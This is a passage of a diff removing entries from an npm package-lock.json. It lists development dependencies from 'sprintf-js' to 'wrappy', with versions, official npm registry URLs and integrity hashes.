-        "extend-shallow": "^3.0.0"
-      }
-    },
-    "sprintf-js": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
-      "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=",
-      "dev": true
-    },
-    "sshpk": {
-      "version": "1.16.1",
-      "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz",
-      "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==",
-      "dev": true,
-      "requires": {
-        "asn1": "~0.2.3",
-        "assert-plus": "^1.0.0",
-        "bcrypt-pbkdf": "^1.0.0",
-        "dashdash": "^1.12.0",
-        "ecc-jsbn": "~0.1.1",
-        "getpass": "^0.1.1",
-        "jsbn": "~0.1.0",
-        "safer-buffer": "^2.0.2",
-        "tweetnacl": "~0.14.0"
-      }
-    },
-    "stack-utils": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.2.tgz",
-      "integrity": "sha512-0H7QK2ECz3fyZMzQ8rH0j2ykpfbnd20BFtfg/SqVC2+sCTtcw0aDTGB7dk+de4U4uUeuz6nOtJcrkFFLG1B0Rg==",
-      "dev": true,
-      "requires": {
-        "escape-string-regexp": "^2.0.0"
-      },
-      "dependencies": {
-        "escape-string-regexp": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
-          "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
-          "dev": true
-        }
-      }
-    },
-    "static-extend": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz",
-      "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=",
-      "dev": true,
-      "requires": {
-        "define-property": "^0.2.5",
-        "object-copy": "^0.1.0"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "dev": true,
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        }
-      }
-    },
-    "stealthy-require": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/stealthy-require/-/stealthy-require-1.1.1.tgz",
-      "integrity": "sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks=",
-      "dev": true
-    },
-    "string-length": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.1.tgz",
-      "integrity": "sha512-PKyXUd0LK0ePjSOnWn34V2uD6acUWev9uy0Ft05k0E8xRW+SKcA0F7eMr7h5xlzfn+4O3N+55rduYyet3Jk+jw==",
-      "dev": true,
-      "requires": {
-        "char-regex": "^1.0.2",
-        "strip-ansi": "^6.0.0"
-      }
-    },
-    "string-width": {
-      "version": "4.2.0",
-      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz",
-      "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==",
-      "dev": true,
-      "requires": {
-        "emoji-regex": "^8.0.0",
-        "is-fullwidth-code-point": "^3.0.0",
-        "strip-ansi": "^6.0.0"
-      }
-    },
-    "strip-ansi": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
-      "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
-      "dev": true,
-      "requires": {
-        "ansi-regex": "^5.0.0"
-      }
-    },
-    "strip-bom": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
-      "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==",
-      "dev": true
-    },
-    "strip-eof": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz",
-      "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=",
-      "dev": true
-    },
-    "strip-final-newline": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",
-      "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==",
-      "dev": true
-    },
-    "strip-json-comments": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.0.tgz",
-      "integrity": "sha512-e6/d0eBu7gHtdCqFt0xJr642LdToM5/cN4Qb9DbHjVx1CP5RyeM+zH7pbecEmDv/lBqb0QH+6Uqq75rxFPkM0w==",
-      "dev": true
-    },
-    "supports-color": {
-      "version": "7.1.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
-      "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
-      "dev": true,
-      "requires": {
-        "has-flag": "^4.0.0"
-      }
-    },
-    "supports-hyperlinks": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.1.0.tgz",
-      "integrity": "sha512-zoE5/e+dnEijk6ASB6/qrK+oYdm2do1hjoLWrqUC/8WEIW1gbxFcKuBof7sW8ArN6e+AYvsE8HBGiVRWL/F5CA==",
-      "dev": true,
-      "requires": {
-        "has-flag": "^4.0.0",
-        "supports-color": "^7.0.0"
-      }
-    },
-    "symbol-tree": {
-      "version": "3.2.4",
-      "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
-      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
-      "dev": true
-    },
-    "table": {
-      "version": "5.4.6",
-      "resolved": "https://registry.npmjs.org/table/-/table-5.4.6.tgz",
-      "integrity": "sha512-wmEc8m4fjnob4gt5riFRtTu/6+4rSe12TpAELNSqHMfF3IqnA+CH37USM6/YR3qRZv7e56kAEAtd6nKZaxe0Ug==",
-      "dev": true,
-      "requires": {
-        "ajv": "^6.10.2",
-        "lodash": "^4.17.14",
-        "slice-ansi": "^2.1.0",
-        "string-width": "^3.0.0"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
-          "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
-          "dev": true
-        },
-        "emoji-regex": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
-          "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
-          "dev": true
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
-          "dev": true
-        },
-        "string-width": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
-          "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
-          "dev": true,
-          "requires": {
-            "emoji-regex": "^7.0.1",
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^5.1.0"
-          }
-        },
-        "strip-ansi": {
-          "version": "5.2.0",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
-          "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
-          "dev": true,
-          "requires": {
-            "ansi-regex": "^4.1.0"
-          }
-        }
-      }
-    },
-    "terminal-link": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz",
-      "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==",
-      "dev": true,
-      "requires": {
-        "ansi-escapes": "^4.2.1",
-        "supports-hyperlinks": "^2.0.0"
-      }
-    },
-    "test-exclude": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
-      "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
-      "dev": true,
-      "requires": {
-        "@istanbuljs/schema": "^0.1.2",
-        "glob": "^7.1.4",
-        "minimatch": "^3.0.4"
-      }
-    },
-    "text-table": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
-      "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=",
-      "dev": true
-    },
-    "throat": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/throat/-/throat-5.0.0.tgz",
-      "integrity": "sha512-fcwX4mndzpLQKBS1DVYhGAcYaYt7vsHNIvQV+WXMvnow5cgjPphq5CaayLaGsjRdSCKZFNGt7/GYAuXaNOiYCA==",
-      "dev": true
-    },
-    "through": {
-      "version": "2.3.8",
-      "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
-      "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=",
-      "dev": true
-    },
-    "tmp": {
-      "version": "0.0.33",
-      "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz",
-      "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
-      "dev": true,
-      "requires": {
-        "os-tmpdir": "~1.0.2"
-      }
-    },
-    "tmpl": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.4.tgz",
-      "integrity": "sha1-I2QN17QtAEM5ERQIIOXPRA5SHdE=",
-      "dev": true
-    },
-    "to-fast-properties": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz",
-      "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=",
-      "dev": true
-    },
-    "to-object-path": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz",
-      "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=",
-      "dev": true,
-      "requires": {
-        "kind-of": "^3.0.2"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "3.2.2",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
-          "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-          "dev": true,
-          "requires": {
-            "is-buffer": "^1.1.5"
-          }
-        }
-      }
-    },
-    "to-regex": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz",
-      "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==",
-      "dev": true,
-      "requires": {
-        "define-property": "^2.0.2",
-        "extend-shallow": "^3.0.2",
-        "regex-not": "^1.0.2",
-        "safe-regex": "^1.1.0"
-      }
-    },
-    "to-regex-range": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
-      "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
-      "dev": true,
-      "requires": {
-        "is-number": "^7.0.0"
-      }
-    },
-    "tough-cookie": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-3.0.1.tgz",
-      "integrity": "sha512-yQyJ0u4pZsv9D4clxO69OEjLWYw+jbgspjTue4lTQZLfV0c5l1VmK2y1JK8E9ahdpltPOaAThPcp5nKPUgSnsg==",
-      "dev": true,
-      "requires": {
-        "ip-regex": "^2.1.0",
-        "psl": "^1.1.28",
-        "punycode": "^2.1.1"
-      }
-    },
-    "tr46": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.0.2.tgz",
-      "integrity": "sha512-3n1qG+/5kg+jrbTzwAykB5yRYtQCTqOGKq5U5PE3b0a1/mzo6snDhjGS0zJVJunO0NrT3Dg1MLy5TjWP/UJppg==",
-      "dev": true,
-      "requires": {
-        "punycode": "^2.1.1"
-      }
-    },
-    "ts-jest": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/ts-jest/-/ts-jest-26.0.0.tgz",
-      "integrity": "sha512-eBpWH65mGgzobuw7UZy+uPP9lwu+tPp60o324ASRX4Ijg8UC5dl2zcge4kkmqr2Zeuk9FwIjvCTOPuNMEyGWWw==",
-      "dev": true,
-      "requires": {
-        "bs-logger": "0.x",
-        "buffer-from": "1.x",
-        "fast-json-stable-stringify": "2.x",
-        "json5": "2.x",
-        "lodash.memoize": "4.x",
-        "make-error": "1.x",
-        "micromatch": "4.x",
-        "mkdirp": "1.x",
-        "semver": "7.x",
-        "yargs-parser": "18.x"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "7.3.2",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz",
-          "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==",
-          "dev": true
-        }
-      }
-    },
-    "tslib": {
-      "version": "1.13.0",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz",
-      "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==",
-      "dev": true
-    },
-    "tsutils": {
-      "version": "3.17.1",
-      "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.17.1.tgz",
-      "integrity": "sha512-kzeQ5B8H3w60nFY2g8cJIuH7JDpsALXySGtwGJ0p2LSjLgay3NdIpqq5SoOBe46bKDW2iq25irHCr8wjomUS2g==",
-      "dev": true,
-      "requires": {
-        "tslib": "^1.8.1"
-      }
-    },
-    "tunnel": {
-      "version": "0.0.6",
-      "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz",
-      "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==",
-      "dev": true
-    },
-    "tunnel-agent": {
-      "version": "0.6.0",
-      "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
-      "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
-      "dev": true,
-      "requires": {
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "tweetnacl": {
-      "version": "0.14.5",
-      "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
-      "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=",
-      "dev": true
-    },
-    "type-check": {
-      "version": "0.3.2",
-      "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
-      "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=",
-      "dev": true,
-      "requires": {
-        "prelude-ls": "~1.1.2"
-      }
-    },
-    "type-detect": {
-      "version": "4.0.8",
-      "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
-      "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
-      "dev": true
-    },
-    "type-fest": {
-      "version": "0.8.1",
-      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
-      "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
-      "dev": true
-    },
-    "typedarray-to-buffer": {
-      "version": "3.1.5",
-      "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
-      "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
-      "dev": true,
-      "requires": {
-        "is-typedarray": "^1.0.0"
-      }
-    },
-    "typescript": {
-      "version": "3.9.3",
-      "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.9.3.tgz",
-      "integrity": "sha512-D/wqnB2xzNFIcoBG9FG8cXRDjiqSTbG2wd8DMZeQyJlP1vfTkIxH4GKveWaEBYySKIg+USu+E+EDIR47SqnaMQ==",
-      "dev": true
-    },
-    "union-value": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz",
-      "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==",
-      "dev": true,
-      "requires": {
-        "arr-union": "^3.1.0",
-        "get-value": "^2.0.6",
-        "is-extendable": "^0.1.1",
-        "set-value": "^2.0.1"
-      }
-    },
-    "universal-user-agent": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-5.0.0.tgz",
-      "integrity": "sha512-B5TPtzZleXyPrUMKCpEHFmVhMN6EhmJYjG5PQna9s7mXeSqGTLap4OpqLl5FCEFUI3UBmllkETwKf/db66Y54Q==",
-      "dev": true,
-      "requires": {
-        "os-name": "^3.1.0"
-      }
-    },
-    "unset-value": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz",
-      "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=",
-      "dev": true,
-      "requires": {
-        "has-value": "^0.3.1",
-        "isobject": "^3.0.0"
-      },
-      "dependencies": {
-        "has-value": {
-          "version": "0.3.1",
-          "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz",
-          "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=",
-          "dev": true,
-          "requires": {
-            "get-value": "^2.0.3",
-            "has-values": "^0.1.4",
-            "isobject": "^2.0.0"
-          },
-          "dependencies": {
-            "isobject": {
-              "version": "2.1.0",
-              "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
-              "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=",
-              "dev": true,
-              "requires": {
-                "isarray": "1.0.0"
-              }
-            }
-          }
-        },
-        "has-values": {
-          "version": "0.1.4",
-          "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz",
-          "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=",
-          "dev": true
-        },
-        "isobject": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-          "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=",
-          "dev": true
-        }
-      }
-    },
-    "uri-js": {
-      "version": "4.2.2",
-      "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz",
-      "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==",
-      "dev": true,
-      "requires": {
-        "punycode": "^2.1.0"
-      }
-    },
-    "urix": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
-      "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=",
-      "dev": true
-    },
-    "use": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz",
-      "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==",
-      "dev": true
-    },
-    "uuid": {
-      "version": "7.0.3",
-      "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz",
-      "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg==",
-      "dev": true,
-      "optional": true
-    },
-    "v8-compile-cache": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.1.0.tgz",
-      "integrity": "sha512-usZBT3PW+LOjM25wbqIlZwPeJV+3OSz3M1k1Ws8snlW39dZyYL9lOGC5FgPVHfk0jKmjiDV8Z0mIbVQPiwFs7g==",
-      "dev": true
-    },
-    "v8-to-istanbul": {
-      "version": "4.1.4",
-      "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-4.1.4.tgz",
-      "integrity": "sha512-Rw6vJHj1mbdK8edjR7+zuJrpDtKIgNdAvTSAcpYfgMIw+u2dPDntD3dgN4XQFLU2/fvFQdzj+EeSGfd/jnY5fQ==",
-      "dev": true,
-      "requires": {
-        "@types/istanbul-lib-coverage": "^2.0.1",
-        "convert-source-map": "^1.6.0",
-        "source-map": "^0.7.3"
-      },
-      "dependencies": {
-        "source-map": {
-          "version": "0.7.3",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz",
-          "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==",
-          "dev": true
-        }
-      }
-    },
-    "validate-npm-package-license": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
-      "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
-      "dev": true,
-      "requires": {
-        "spdx-correct": "^3.0.0",
-        "spdx-expression-parse": "^3.0.0"
-      }
-    },
-    "verror": {
-      "version": "1.10.0",
-      "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
-      "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
-      "dev": true,
-      "requires": {
-        "assert-plus": "^1.0.0",
-        "core-util-is": "1.0.2",
-        "extsprintf": "^1.2.0"
-      }
-    },
-    "w3c-hr-time": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz",
-      "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
-      "dev": true,
-      "requires": {
-        "browser-process-hrtime": "^1.0.0"
-      }
-    },
-    "w3c-xmlserializer": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz",
-      "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==",
-      "dev": true,
-      "requires": {
-        "xml-name-validator": "^3.0.0"
-      }
-    },
-    "walker": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.7.tgz",
-      "integrity": "sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=",
-      "dev": true,
-      "requires": {
-        "makeerror": "1.0.x"
-      }
-    },
-    "webidl-conversions": {
-      "version": "6.1.0",
-      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz",
-      "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==",
-      "dev": true
-    },
-    "whatwg-encoding": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz",
-      "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==",
-      "dev": true,
-      "requires": {
-        "iconv-lite": "0.4.24"
-      }
-    },
-    "whatwg-mimetype": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
-      "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==",
-      "dev": true
-    },
-    "whatwg-url": {
-      "version": "8.1.0",
-      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.1.0.tgz",
-      "integrity": "sha512-vEIkwNi9Hqt4TV9RdnaBPNt+E2Sgmo3gePebCRgZ1R7g6d23+53zCTnuB0amKI4AXq6VM8jj2DUAa0S1vjJxkw==",
-      "dev": true,
-      "requires": {
-        "lodash.sortby": "^4.7.0",
-        "tr46": "^2.0.2",
-        "webidl-conversions": "^5.0.0"
-      },
-      "dependencies": {
-        "webidl-conversions": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz",
-          "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==",
-          "dev": true
-        }
-      }
-    },
-    "which": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
-      "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
-      "dev": true,
-      "requires": {
-        "isexe": "^2.0.0"
-      }
-    },
-    "which-module": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz",
-      "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=",
-      "dev": true
-    },
-    "windows-release": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npmjs.org/windows-release/-/windows-release-3.3.0.tgz",
-      "integrity": "sha512-2HetyTg1Y+R+rUgrKeUEhAG/ZuOmTrI1NBb3ZyAGQMYmOJjBBPe4MTodghRkmLJZHwkuPi02anbeGP+Zf401LQ==",
-      "dev": true,
-      "requires": {
-        "execa": "^1.0.0"
-      }
-    },
-    "word-wrap": {
-      "version": "1.2.3",
-      "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz",
-      "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==",
-      "dev": true
-    },
-    "wrap-ansi": {
-      "version": "6.2.0",
-      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
-      "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
-      "dev": true,
-      "requires": {
-        "ansi-styles": "^4.0.0",
-        "string-width": "^4.1.0",
-        "strip-ansi": "^6.0.0"
-      }
-    },
-    "wrappy": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
-      "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=",
-      "dev": true
